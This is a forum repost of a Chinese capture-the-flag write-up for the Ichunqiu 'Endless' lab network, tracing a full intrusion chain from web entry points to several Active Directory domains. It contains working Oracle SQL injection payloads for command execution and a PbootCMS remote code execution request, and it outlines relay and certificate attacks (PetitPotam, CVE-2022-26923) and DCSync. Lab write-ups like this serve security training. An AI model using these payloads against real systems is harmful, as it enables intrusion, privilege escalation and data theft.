安全矩阵

 找回密码
 立即注册
搜索
查看: 319|回复: 0

Ichunqiu云境 —— Endless(无间计划) Writeup

[复制链接]

179

主题

179

帖子

630

积分

高级会员

Rank: 4

积分
630
发表于 2023-3-21 00:53:30 | 显示全部楼层 |阅读模式
原文链接:Ichunqiu云境 —— Endless(无间计划) Writeup



Author:小离-xiaoli

0x00 Intro
前言:
• 两个入口点,一个入口点是pboot-cms,另外一个是SQL注入
• 这边入口外网IP可能会有不一致的地方,因为靶场重启次数比较多,IP经常变化
• OSCP风格,不使用CS/MSF
• 这个靶场共有12个Flag



0x01 Recon
扫描结果:

1. 入口点1 - SQL注入 (Linux):


2. 入口点2 - Pboot-CMS (Linux):

0x02 入口点1 - SQL注入 (Linux)
前言:

• 一个站库分离的oracle注入,web是linux,注入点可以通过oracle注入发现到是一个windows,权限非dba,只有java runtime permission,这里没截图
• 这里前几次都没打成功,卡了挺久,后面搭建了个oracle和九世一起测试的
• 不建议用SqlMap,会把站打挂,并且可以看源码发现sqlmap提权函数没有定义关于oracle数据库的攻击方法
• Oracle 版本 Oracle Database 11g Enterprise Edition Release 11.2.0.1.0
1. 直接上payload



  1. 1. 创建JAVA Source
  2. admin' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual)>1 --

  3. 2.提权
  4. admin' AND (SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' begin sys.dbms_cdc_publish.create_change_set('''' a'''',''''a'''',''''a''''''''||TEST.pwn()||''''''''a'''',''''Y'''',s ysdate,sysdate);end;''; commit; end;') from dual)>1--

  5. 3.创建函数
  6. admin' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LINXRUNCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual)>1--

  7. 4.查询创建的函数
  8. admin' union select null,(select object_name from all_objects where object_name ='LINXRUNCMD' and rownum=1),null from dual--

  9. 5.查询java source
  10. admin' union select null,(select object_name from all_objects where object_name ='LinxUtil'),null from dual--

  11. 6.命令执行
  12. admin' union select null,(select LINXRUNCMD('whoami') from dual),null from dual--
复制代码


2. 函数LINXRUNCMD创建成功

3. whoami,直接是system权限了

4. ipconfig,该数据库内网IP为 172.23.4.51,此时需要回到入口点2进入内网了 !


0x03 入口点2 - Pboot-CMS (Linux) - Flag 1
前言:

• 西湖论剑CTF的题目,有WAF,考你怎么绕过pboot cms的disable function,这里用的是大哥的payload https://guokeya.github.io/post/WscncUrcS/
1. Payload(未授权RCE):
  1. GET /?a=}{pboot{user:password}:if(("sys\x74em")("whoami"));//)}xxx{/pboot{user:password}:if} HTTP/1.1
  2. Host: 39.98.94.70:80
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  7. Referer: http://39.98.94.70/admin.php
  8. Accept-Encoding: gzip, deflate
  9. Accept-Language: en-US,en;q=0.9
  10. Cookie: lg=cn; PbootSystem=h6o5ta1btl6o32bi184ula183l
  11. Connection: close
  12. Content-Length: 0
复制代码


2. PrivESC to root with CVE-2022-2588(这里用不了pwnkit,pkexec玄学)

3. 入口IP 172.23.4.32

4. Flag 1



0x05 Target: 172.23.4.51 - Flag 2
1. 通过上面的入口点搭建代理,横向回到上面打下的oracle数据库 172.23.4.51,获取到Flag 2


0x04 Target: 172.23.4.12 - Flag 3
1. 172.23.4.51 的Desktop 有个Usera的凭据
username: usera@pentest.com
password:Admin3gv83


2. 挂个代理,CME扫一扫


3. 这里忘记截图了,usera对4.12能RDP,RDP上去就可以了
• 提权方法1:krbrelayup直接提权
• 提权方法2:usera对该机器有writedacl,能rbcd提权到system





4. 横向上去后,发现C:\users\usera\目录下有.ssh目录,里面有一个私钥(私钥没截到图),known_hosts看到有个IP 172.23.4.19




5. Flag 3

0x05 Target: 172.23.4.19 (172.24.7.16) - Flag 4
1. 使用在172.23.4.12获取到的私钥登录进入172.23.4.19,回到了上面入口点1的web服务器,获取到root权限





2. Flag 4

0x06 突破内网隔离处-1 - No Flag
• 172.23.4.12 - 双网卡 - 172.24.7.16




0x07 Target: 172.24.7.48 (绕路) - Flag 5
前言:

• 这里会绕路,是靶场设计思路的问题,我一开始也没想到能直接用CVE-2022-26923打下来,后面在这台机器上实在翻不到东西了,才用了CVE-2022-26923
• 后续和作者沟通了,作者原先是希望说从通过下述操作拿下机器后,找到一张管理员的证书,用证书直接打到域控,但是作者可能觉得太简单了,后面把证书删除了,后面复盘的时候作者说就是用 CVE-2022-26923 打下来
• 个人建议的话,可以在这台机器上弄一些信息泄露的点,用泄露的凭据改ESC1之类的,如果要增加难度的话,可以考虑把智能卡攻击也弄上
1. 使用凭据usera扫描一下172.24.7.0/24,调用petitpotam



2. 这里IP和主机名有点乱,我们备注一下
172.24.7.5 DCadmin.pen.me (当前不在我们的范围内)
172.24.7.48 IZAYSXE6VCUHB4Z.pentest.me (在范围内,未拿下)
172.24.7.16 IZMN9U6ZO3VTRNZ.pentest.me (在范围内,已经拿下)
172.24.7.3 DC.pentest.me (在范围内,未拿下)
172.24.7.43 IZMN9U6ZO3VTRPZ.pentest.me (在范围内,未拿下)
3. 扫一扫webclient服务,确定172.24.7.48能打下了





4. 难点在于你现在处于第二层网段,也好解决
• 端口转发链如下
172.24.7.16:80(双网卡,通172.23.4.0/24) ---forward--- 172.23.4.19:81(SSH) ---forward--- localhost:79 ---forward--- kali:8001
• SSH端口转发监听127.0.0.1的问题可以看回我之前的文章:IChunQiu-spoofing
5. 端口转发准备:
172.23.4.19



172.24.7.16(也是IP 172.23.4.12)



6. 启用ntlmrelayx.py,这里的escalate-user写的是172.24.7.16的主机名,截图是已经用petitpotam触发回连了,可以看到是已经完成了rbcd攻击了

7. petitpotam触发webclient实现中继

8. Flag 5

0x08 Target: 172.24.7.3 - Flag 6
1. 域控装了ADCS(直接SMB看域控共享就懂了)


2. 提示ESC8

3. 但是,经过复杂的操作 (停445+端口转发),却和我说ADCS关了ntlm认证




4. 后面实在找不到东西了,直接CVE-2022-26923冲死,使用一个有效域凭据(普通权限)创建机器账户




5. CVE-2022-26923生成一张域控的证书

6. 还原NTLM出来(这里忘记截图,只能用帮助文档了)

7. Dcsync

8. 远程上172.24.7.3就能获得Flag 6了,这里忘记截图了
9. 然后就顺便扫一扫看看有没有其他网卡


0x09 突破内网隔离处-2 - No Flag
• 172.24.7.3 - 双网卡 - 172.25.12.9

0x10 Target: 172.25.12.7 - Flag 7
前言:

• 这里原先是用sid history进行跨域攻击,但是靶场环境有问题,作者也排查了很多次,确认环境有问题,sid history始终没打成功(没有开启sid过滤),然后作者才选择更换攻击路径
1. DCadmin 这台机器也是双网卡(172.24.7.5 和 172.25.12.7),不知道为什么上面的探测没扫出来


2. 到这里,我们更新一下笔记
  1. pen.me
  2.     172.25.12.7 (172.24.7.5) DCadmin.pen.me (在范围内,还没拿下)
  3.     172.25.12.19 IZ1TUCEKFDPCEMZ.pen.me (在范围内,还没拿下)
  4.     172.25.12.29 IZ88QYK8Y8Y3VXZ.pen.me (在范围内,还没拿下)

  5. pentest.me
  6.     172.25.12.9 (172.24.7.3) DC.pentest.me (在范围内,已经拿下)
  7.     172.24.7.48 IZAYSXE6VCUHB4Z.pentest.me (在范围内,已经拿下)
  8.     172.24.7.16 IZMN9U6ZO3VTRNZ.pentest.me (在范围内,已经拿下)
  9.     172.24.7.3 DC.pentest.me (在范围内,已经拿下)
  10.     172.24.7.43 IZMN9U6ZO3VTRPZ.pentest.me (在范围内,有管理员凭据,还没登录上去)
复制代码



3. Bloodhound看看是什么关系,可以看到,Administrator@pentest.me 是 dcadmin.pen.me的管理员


4. 这里也是有些奇怪,作者是可以直接横向过去的 !

• 嘿,轮到我就不行(不知道是什么原因,我psexec也没成功) !




5. 干脆就RBCD了,我也不纠结 (RBCD过程省略)

6. Flag 7

7. DCSync过程略
0x11 Target: 172.25.12.19 - Flag 8
1. 用上面DCSync获取到的域管理员凭据直接横向就可以获取到 Flag 8 了


0x12 Target: 172.25.12.29 - Flag 9
1. 用上面DCSync获取到的域管理员凭据直接横向就可以获取到 Flag 9 了


0x13 Target: 172.25.12.19 (Exchange) - Flag 10
1. 看看这台机器的SPN,就知道172.25.12.19上面跑着Exchange了 !


2. 在域内你可以快速过滤homeMDB这个attribute,就知道用户有没有登录过邮服了,以下这个Exchange用户是我们要看的

3. 使用Exchange用户登录进入OWA,就可以获取到Flag 10 了

0x14 Target: 172.24.7.43 (172.26.8.12) - Flag 11
1. 用上面在pentest.me里面DCSync获取到的管理员凭据直接横向过去172.24.7.43即可获取到Flag11 了


0x15 突破内网隔离处-3 - No Flag
• 172.24.7.43 - 双网卡 - 172.26.8.12


0x16 Target: 172.24.7.27 & 172.24.7.23 - No Flag
1. 我们回到 172.24.7.0/24,内网扫描 172.24.7.0/24发现有两个web服务,一个confluence和一个gitlab,对应url如下
  1. confluence: 172.24.7.27:8090
  2. gitlab: 172.24.7.23
复制代码


2. 使用上面获取到的usera凭据直接登录进入confluence,可以发现有两个xlsx列表,用最新的即可

3. 无间实验室人员名单.xlsx

4. 在dc.pentest.me批量跑一下ldap,发现都是有效凭据,这里随便一个域用户都能登录进入gitlab,但是都没项目(登录gitlab的图忘记截图了)

5. 可以用在ldap筛选出有效用户(毕竟是ldap认证,当然你用kerbrute枚举也可以),然后配合利用git命令批量枚举,你能发现用户luizhuo有一个私人项目叫 Financial system-demo

6. 有一个SQL Server的凭据,但是IP是127.0.0.1




7. 找找commit历史,发现一个ip 172.26.8.16

8. 凭据记录
  1. IP: 172.26.8.16
  2. username: sa
  3. password: sqlserver_2022
复制代码



7. 后续复盘和作者交流过,gitlab不能直接拿下,但是最新的exp我没测试,有兴趣的大哥可以测试一下

0x17 Target: 172.26.8.16 - Flag 12
1. 因为 172.24.7.43 这台机器通往 172.26.8.0/24网段,我们在 gitlab 172.24.7.23 刚好获取到过一个 SQL Server的凭据
  1. IP: 172.26.8.16
  2. username: sa
  3. password: sqlserver_2022
复制代码


2. 在这台机器上搞个代理,直接连接,然后一把梭(这里用的项目是https://github.com/Ridter/PySQLTools

3. 服务账户权限

4. CLR提权

5. 直接改管理员密码

6. Flag 12

0x18 Attack Graph


0x19 Outro
• 感谢九世大哥的协作帮忙,入口点帮助了很多,oracle注入那看到头秃了
• 感谢作者满秋和WHOAMI的帮助
• 靶场在做的过程中,发现了不少的BUG,但是作者都很热心的修补了BUG,期间还退还了沙子
• 做起来和你打攻防项目一样坐牢



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 21:51 , Processed in 0.014610 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表